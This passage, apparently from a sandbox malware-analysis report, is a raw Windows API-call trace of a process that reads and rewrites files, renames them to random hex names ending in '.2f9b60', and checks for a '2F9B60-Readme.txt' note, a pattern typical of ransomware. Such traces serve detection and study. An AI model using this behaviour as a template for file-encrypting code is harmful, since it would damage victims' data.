hFile=0x15f0, lpFileSize=0x3677fac0 | out: lpFileSize=0x3677fac0*=179) returned 1 [0113.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f50 [0113.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0113.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0113.398] NtQuerySystemTime (in: CurrentTime=0x3677f980 | out: CurrentTime=0x3677f980*=132462177188638000) returned 0x0 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x3395af92 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x3aa68d59 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0xf9dd447 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x206d9e31 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x1cfeda33 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x76a2b5c4 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x21931725 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x639c74c0 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x6876dcc7 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0xf9b5e9d [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x2c0f0db3 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x27a479b7 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x328c2cd1 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x20c53039 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x8e41f56 [0113.398] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x4dd6e849 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x1c3ca5a9 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x5ff5cbb6 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x2663c082 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x3df2367f [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x4331141e [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x55f7f8cd [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x138b1def [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x46bdc7d9 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x830f353 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x77472cc0 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0xd75a46e [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x1fae6c19 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x18b62989 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x21fca173 [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0x4a162fcd [0113.399] RtlRandomEx (in: Seed=0x3677f970 | out: Seed=0x3677f970) returned 0xeadc5d8 [0113.412] ReadFile (in: hFile=0x15f0, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x3677f970, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x3677f970*=0xb3, lpOverlapped=0x0) returned 1 [0113.413] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.413] WriteFile (in: hFile=0x15f0, lpBuffer=0x41d53cc0*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x3677f974, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesWritten=0x3677f974*=0xb3, lpOverlapped=0x0) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f50 [0113.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0113.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f20) returned 1 [0113.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0113.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dcc1b0) returned 1 [0113.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0113.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263f20 [0113.418] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.418] WriteFile (in: hFile=0x15f0, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3677fa90, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3677fa90*=0x106, lpOverlapped=0x0) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0113.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0113.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ea0) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0113.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0113.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9eb70 [0113.421] sprintf (in: _Dest=0x1cd9eb70, _Format="%c%c" | out: _Dest="f7") returned 2 [0113.421] sprintf (in: _Dest=0x1cd9eb72, _Format="%c%c" | out: _Dest="27") returned 2 [0113.421] sprintf (in: _Dest=0x1cd9eb74, _Format="%c%c" | out: _Dest="c9") returned 2 [0113.421] sprintf (in: _Dest=0x1cd9eb76, _Format="%c%c" | out: _Dest="f2") returned 2 [0113.421] sprintf (in: _Dest=0x1cd9eb78, _Format="%c%c" | out: _Dest="97") returned 2 [0113.421] sprintf (in: _Dest=0x1cd9eb7a, _Format="%c%c" | out: _Dest="51") returned 2 [0113.421] sprintf (in: _Dest=0x1cd9eb7c, _Format="%c%c" | out: _Dest="da") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb7e, _Format="%c%c" | out: _Dest="c8") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb80, _Format="%c%c" | out: _Dest="cb") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb82, _Format="%c%c" | out: _Dest="81") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb84, _Format="%c%c" | out: _Dest="cf") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb86, _Format="%c%c" | out: _Dest="42") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb88, _Format="%c%c" | out: _Dest="2a") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb8a, _Format="%c%c" | out: _Dest="f8") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb8c, _Format="%c%c" | out: _Dest="72") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb8e, _Format="%c%c" | out: _Dest="6a") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb90, _Format="%c%c" | out: _Dest="dc") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb92, _Format="%c%c" | out: _Dest="2b") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb94, _Format="%c%c" | out: _Dest="87") returned 2 [0113.422] sprintf (in: _Dest=0x1cd9eb96, _Format="%c%c" | out: _Dest="d3") returned 2 [0113.422] RtlInitAnsiString (in: DestinationString=0x3677fb08, SourceString="f727c9f29751dac8cb81cf422af8726adc2b87d3" | out: DestinationString="f727c9f29751dac8cb81cf422af8726adc2b87d3") [0113.422] RtlAnsiStringToUnicodeString (in: DestinationString=0x3677fad8, SourceString="f727c9f29751dac8cb81cf422af8726adc2b87d3", AllocateDestinationString=1 | out: DestinationString="f727c9f29751dac8cb81cf422af8726adc2b87d3") returned 0x0 [0113.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c310 [0113.423] wcscat (in: _Dest=0x202a57c0, _Source="f727c9f297" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\f727c9f297") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\f727c9f297" [0113.423] wcscat (in: _Dest=0x202a57c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\f727c9f297.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\f727c9f297.2f9b60" [0113.423] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\f727c9f297.2f9b60", NtPathName=0x3677fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\f727c9f297.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65ce0 [0113.423] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x3677fb50, FileInformation=0x1cd65ce0, Length=0xa6, FileInformationClass=0xa) returned 0x0 [0113.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 [0113.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.426] NtQueryInformationFile (in: FileHandle=0x15f0, IoStatusBlock=0x3677fb18, FileInformation=0x3677fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3677fb18, FileInformation=0x3677fb28) returned 0x0 [0113.426] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x3677fb18, FileInformation=0x3677fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a57c0) returned 1 [0113.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c310) returned 1 [0113.429] FlushFileBuffers (hFile=0x15f0) returned 1 [0113.449] CloseHandle (hObject=0x15f0) returned 1 [0113.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205dd70 [0113.451] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0113.451] wcscat (in: _Dest=0x4205dd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" [0113.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\2f9b60-readme.txt")) returned 0x20 [0113.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0113.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5730) returned 1 Thread: id = 1157 os_tid = 0xc1c [0113.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 0x20 [0113.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", dwFileAttributes=0x20) returned 1 [0113.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f0 [0113.456] GetFileSizeEx (in: hFile=0x15f0, lpFileSize=0x3644fce0 | out: lpFileSize=0x3644fce0*=830) returned 1 [0113.456] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x33a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.456] ReadFile (in: hFile=0x15f0, lpBuffer=0x3644fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3644fca8, lpOverlapped=0x0 | out: lpBuffer=0x3644fc60*, lpNumberOfBytesRead=0x3644fca8*=0x4, lpOverlapped=0x0) returned 1 [0113.461] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0113.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0113.461] NtQuerySystemTime (in: CurrentTime=0x3644fba0 | out: CurrentTime=0x3644fba0*=132462177189262000) returned 0x0 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x7ec92ace [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x490f9a5c [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x662062f0 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x1b1f27d3 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x3bb0e939 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x66f10927 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x490a78b3 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x7443ef40 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x671358b7 [0113.461] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x4d4f340d [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x9f922b1 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x21186f2a [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x7e294f24 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x472c3733 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x61e085ca [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x13b3d6d1 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x5ce72541 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x288f37eb [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x2631a685 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x747c4c9c [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x7490814d [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x223cd093 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x4ba5e221 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x2c2a0ffc [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x56d6c4b0 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x468c959e [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x7968bcff [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x705ad898 [0113.462] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x2268d5c0 [0113.463] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x1d5ae50f [0113.463] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x2e561967 [0113.463] RtlRandomEx (in: Seed=0x3644fb90 | out: Seed=0x3644fb90) returned 0x536bf41c [0113.477] ReadFile (in: hFile=0x15f0, lpBuffer=0x41d62d00, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x3644fb90, lpOverlapped=0x0 | out: lpBuffer=0x41d62d00*, lpNumberOfBytesRead=0x3644fb90*=0x33e, lpOverlapped=0x0) returned 1 [0113.477] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.477] WriteFile (in: hFile=0x15f0, lpBuffer=0x41d66910*, nNumberOfBytesToWrite=0x33e, lpNumberOfBytesWritten=0x3644fb94, lpOverlapped=0x0 | out: lpBuffer=0x41d66910*, lpNumberOfBytesWritten=0x3644fb94*=0x33e, lpOverlapped=0x0) returned 1 [0147.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0147.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0147.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0147.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d66910) returned 1 [0147.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d62d00) returned 1 [0147.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0147.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0147.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85f7f0 [0147.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0147.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0147.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0147.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0147.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85f760 [0147.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c30 [0147.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0147.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0147.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0147.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0147.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x1696f0 [0147.770] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.770] WriteFile (hFile=0x15f0, lpBuffer=0x1696f0, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3644fcb0, lpOverlapped=0x0) [0200.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0200.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f20) returned 1 [0200.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0200.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f50 [0200.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f50) returned 1 [0200.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.517] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="9f") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="27") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="36") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="9e") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="86") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.517] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="79") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="65") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="13") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="de") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="8c") returned 2 [0200.518] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="eb") returned 2 [0200.518] RtlInitAnsiString (in: DestinationString=0x3644fd28, SourceString="4cb69f27369edd86a9ad0c79ec6513edcade8ceb" | out: DestinationString="4cb69f27369edd86a9ad0c79ec6513edcade8ceb") [0200.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x3644fcf8, SourceString="4cb69f27369edd86a9ad0c79ec6513edcade8ceb", AllocateDestinationString=1 | out: DestinationString="4cb69f27369edd86a9ad0c79ec6513edcade8ceb") returned 0x0 [0200.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d8b0 [0200.519] wcscat (in: _Dest=0x431da220, _Source="4cb69f2736" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\4cb69f2736") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\4cb69f2736" [0200.519] wcscat (in: _Dest=0x431da220, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\4cb69f2736.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\4cb69f2736.2f9b60" [0200.519] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\4cb69f2736.2f9b60", NtPathName=0x3644fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\4cb69f2736.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431eab40 [0209.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eab40) returned 1 [0209.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fd0b0) returned 1 [0209.449] NtQueryInformationFile (in: FileHandle=0x15f0, IoStatusBlock=0x3644fd38, FileInformation=0x3644fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3644fd38, FileInformation=0x3644fd48) returned 0x0 [0209.449] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x3644fd38, FileInformation=0x3644fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431da220) returned 1 [0216.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d8b0) returned 1 [0216.393] FlushFileBuffers (hFile=0x15f0) returned 1 [0216.396] CloseHandle (hObject=0x15f0) returned 1 [0219.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431cb1c0 [0219.464] wcscpy (in: _Dest=0x431cb1c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0219.464] wcscat (in: _Dest=0x431cb1c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" [0219.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\2f9b60-readme.txt")) returned 0x20 [0219.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb1c0) returned 1 [0219.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85beb0) returned 1 Thread: id = 1158 os_tid = 0xc18 [0113.460] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url")) returned 0x20 [0113.460] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url", dwFileAttributes=0x20) returned 1 [0113.532] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows 